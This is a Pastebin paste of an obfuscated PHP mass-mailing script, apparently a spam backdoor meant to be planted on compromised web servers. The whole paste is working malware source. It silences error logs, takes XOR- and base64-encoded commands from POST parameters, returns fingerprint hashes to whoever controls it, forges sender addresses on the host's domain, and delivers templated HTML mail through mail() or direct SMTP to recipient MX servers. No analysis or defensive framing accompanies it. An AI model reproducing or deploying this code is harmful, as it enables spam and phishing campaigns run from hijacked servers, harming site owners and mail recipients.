SHARE
TWEET

Sherlock

a guest Jun 24th, 2013 303 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?
  2. @error_reporting(0);
  3. @ini_set('error_log',NULL);
  4. @ini_set('log_errors',0);
  5. if (count($_POST) < 2) {
  6.     die("Linux10+cfcd208495d565ef66e7dff9f98764da");
  7.     // die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));
  8. }
  9. $var1 = false;
  10. foreach(array_keys($_POST) as $item) {
  11.     switch ($item[0]) {
  12.     case chr(108):
  13.         $var2 = $item;
  14.         break;
  15.     case chr(100):
  16.         $var3 = $item;
  17.         break;
  18.     case chr(109):
  19.         $hostname = $item;
  20.         break;
  21.     case chr(101);
  22.         $var1 = true;
  23.         break;
  24.     }
  25. }
  26. if ($var2 === '' || $var3 === '') {
  27.         die("Linux10+cfcd208495d565ef66e7dff9f98764da");
  28.     // die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321));
  29. }
  30. $var4 = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
  31. $var5 = @$_POST[$var2];
  32. $var3 = @$_POST[$var3];
  33. $hostname = @$_POST[$hostname];
  34. if ($var1) {
  35.     $var5 = func1($var5);
  36.     $var3 = func1($var3);
  37.     $hostname = func1($hostname);
  38. }
  39. $var5 = urldecode(stripslashes($var5));
  40. $var3 = urldecode(stripslashes($var3));
  41. $hostname = urldecode(stripslashes($hostname));
  42. if (strpos($var5, '#',1) != false) {
  43.     $var7 = preg_split('/#/', $var5);
  44.     $var8 = count($var7);
  45. } else {
  46.     $var7[0] = $var5;
  47.     $var8 = 1;
  48. }
  49. for ($var9=0; $var9 < $var8; $var9++) {
  50.     $var5 = $var7[$var9];
  51.     if ($var5 == '' || !strpos($var5,'@',1)) {
  52.         continue;
  53.     }
  54.     if (strpos($var5, ';', 1) != false) {
  55.         list($var10, $var11, $var12) = preg_split('/;/',strtolower($var5));
  56.         $var10 = ucfirst($var10);
  57.         $var11 = ucfirst($var11);
  58.         $var13 = next(explode('@', $var12));
  59.         if ($var11 == '' || $var10 == '') {
  60.             $var11 = $var10 = '';
  61.             $var5 = $var12;
  62.         } else {
  63.             $var5 = "\"$var10 $var11\" <$var12>";
  64.         }
  65.     } else {
  66.         $var11 = $var10 = '';
  67.         $var12 = strtolower($var5);
  68.         $var13 = next(explode('@', $var5));
  69.     }
  70.     preg_match('|<USER>(.*)</USER>|imsU', $var3, $mail_user);
  71.     $mail_user = $mail_user[1];
  72.     preg_match('|<NAME>(.*)</NAME>|imsU', $var3, $var15);
  73.     $var15 = $var15[1];
  74.     preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $var3, $var16);
  75.     $var16 = $var16[1];
  76.     preg_match('|<SBODY>(.*)</SBODY>|imsU', $var3, $var17);
  77.     $var17= $var17[1];
  78.     $var16 = str_replace("%R_NAME%", $var10, $var16);
  79.     $var16 = str_replace("%R_LNAME%", $var11, $var16);
  80.     $var17 = str_replace("%R_NAME%", $var10, $var17);
  81.     $var17 = str_replace("%R_LNAME%", $var11, $var17);
  82.     $mail_domain = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
  83.     if (func2($mail_domain) || @ini_get('safe_mode')) {
  84.         $var20 = false;
  85.     } else {
  86.         $var20 = true;
  87.     }
  88.     $mail_addr = "$mail_user@$mail_domain";
  89.     if ($var15 != '') {
  90.         $from = "$var15 <$mail_addr>";
  91.     } else {
  92.         $from = $mail_addr;
  93.     }
  94.     $from_line = "From: $from\r\n";
  95.     $from_line .= "Reply-To: $from\r\n";
  96.     $header = "X-Priority: 3 (Normal)\r\n";
  97.     $header .= "MIME-Version: 1.0\r\n";
  98.     $header .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
  99.     $header .= "Content-Transfer-Encoding: 8bit\r\n";
  100.     if (!in_array('mail', $var4)) {
  101.         if ($var20) {
  102.             if (@mail($var5, $var16, $var17, $from_line.$header, "-f$mail_addr")) {
  103.                 echo("OKe807f1fcf82d132f9bb018ca6738a19f+0");
  104.                 // echo(chr(79).chr(75).md5(1234567890)."+0\n");
  105.                 continue;
  106.             }
  107.         } else {
  108.             if (@mail($var5, $var16, $var17, $header)) {
  109.                 echo("OKe807f1fcf82d132f9bb018ca6738a19f+0");
  110.                 // echo(chr(79).chr(75).md5(1234567890)."+0\n");
  111.                 continue;
  112.             }
  113.         }
  114.     }
  115.     $message = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $from_line;
  116.     $message .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '--', md5(time()))."@$mail_domain>\r\n";
  117.     $message .= "To: $var5\r\n";
  118.     $message .= "Subject: $var16\r\n";
  119.     $message .= $header;
  120.     $full_message = $message."\r\n".$var17;
  121.     if ($hostname == '') {
  122.         $hostname = func3($var13);
  123.     }
  124.     if (($var24 = func4($mail_addr, $var12, $full_message, $mail_domain, $hostname)) == 0) {
  125.         echo("OKe807f1fcf82d132f9bb018ca6738a19f+1 ");
  126.         // echo(chr(79).chr(75).md5(1234567890)."+1\n");
  127.         continue;
  128.     } else {
  129.         echo "Linux20+cfcd208495d565ef66e7dff9f98764da"."+$var24\n";
  130.         echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$var24\n";
  131.     }
  132. }
  133. function func2($var25){
  134.     return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $var25);
  135. }
  136. function func5($var26, $var27 = 0, $var28="=\r\n", $var29 = 0, $var30 = false) {
  137.     $var31 = strlen($var26);
  138.     $var24 = '';
  139.     for ($var9 = 0; $var9 < $var31; $var9++) {
  140.         if ($var27 >= 75) {
  141.             $var27 = $var29;
  142.             $var24 .= $var28;
  143.         }
  144.         $var32 = ord($var26[$var9]);
  145.         if (($var32 == 0x3d) || ($var32 >= 0x80) || ($var32 < 0x20)) {
  146.             if ((($var32 == 0x0A) || ($var32 == 0x0D)) && (!$var30)) {
  147.                 $var24.=chr($var32);
  148.                 $var27 = 0;
  149.                 continue;
  150.             }
  151.             $var24 .='='.str_pad(strtoupper(dechex($var32)), 2, '0', STR_PAD_LEFT);
  152.             $var27 += 3;
  153.             continue;
  154.         }
  155.         $var24 .= chr($var32);
  156.         $var27++;
  157.     }
  158.     return $var24;
  159. }
  160. function func4($from, $var5, $full_message, $mail_domain, $hostname) {
  161.     global $var4;
  162.     if (!in_array('fsockopen', $var4)) {
  163.         $sock_handle = @fsockopen($hostname, 25, $var33, $var34, 20);
  164.     } else if (!in_array('pfsockopen', $var4)) {
  165.         $sock_handle = @pfsockopen($hostname, 25, $var33, $var34, 20);
  166.     } else if (!in_array('stream_socket_client', $var4) && function_exists("stream_socket_client")) {
  167.         $sock_handle = @stream_socket_client("tcp://$hostname:25", $var33, $var34, 20);
  168.     } else {
  169.         return -1;
  170.     }
  171.     if (!$sock_handle) {
  172.         return 1;
  173.     } else {
  174.         $var3 = func6($sock_handle);
  175.         @fputs($sock_handle, "EHLO $mail_domain\r\n");
  176.         $var35 = func6($sock_handle);
  177.         if (substr($var35, 0, 3) != 250 ) {
  178.             return "2+($var5)+".preg_replace('/(\r\n|\r|\n)/', '|', $var35);
  179.         }
  180.         @fputs($sock_handle, "MAIL FROM:<$from>\r\n");
  181.         $var35 = func6($sock_handle);
  182.         if (substr($var35, 0, 3) != 250 ) {
  183.             return "3+($var5)+".preg_replace('/(\r\n|\r|\n)/', '|', $var35);
  184.         }
  185.         @fputs($sock_handle, "RCPT TO:<$var5>\r\n");
  186.         $var35 = func6($sock_handle);
  187.         if (substr($var35, 0, 3) != 250 && substr($var35, 0, 3) != 251) {
  188.             return "4+($var5)+".preg_replace('/(\r\n|\r|\n)/', '|', $var35);
  189.         }
  190.         @fputs($sock_handle, "DATA\r\n");
  191.         $var35 = func6($sock_handle);
  192.         if (substr($var35, 0, 3) != 354 ) {
  193.             return "5+($var5)+".preg_replace('/(\r\n|\r|\n)/', '|', $var35);
  194.         }
  195.         @fputs($sock_handle, $full_message."\r\n.\r\n");
  196.         $var35 = func6($sock_handle);
  197.         if (substr($var35, 0, 3) != 250 ) {
  198.             return "6+($var5)+".preg_replace('/(\r\n|\r|\n)/', '|', $var35);
  199.         }
  200.         @fputs($sock_handle, "QUIT\r\n");
  201.         @fclose($sock_handle);
  202.         return 0;
  203.     }
  204. }
  205. function func6($sock_handle) {
  206.     $var3 = '';
  207.     while ($var36 = @fgets($sock_handle, 4096)) {
  208.         $var3 .= $var36;
  209.         if (substr($var36, 3, 1) == ' ') {
  210.             break;
  211.         }
  212.     }
  213.     return $var3;
  214. }
  215. function func3($var37) {
  216.     global $var4;
  217.     if (!in_array('getmxrr', $var4) && function_exists("getmxrr")) {
  218.         @getmxrr($var37, $var38, $var39);
  219.         if (count($var38) === 0) {
  220.             return '127.0.0.1';
  221.         }
  222.         $var9 = array_keys($var39, min($var39));
  223.         return $var38[$var9[0]];
  224.     } else {
  225.         return '127.0.0.1';
  226.     }
  227. }
  228. function func1($arg) {
  229.     $arg = base64_decode($arg);
  230.     $result = '';
  231.     for ($var9 = 0; $var9 < strlen($arg); $var9++) {
  232.         $result .= chr(ord($arg[$var9]) ^ 2);
  233.     }
  234.     return $result;
  235. }
  236. ?>
RAW Paste Data
Top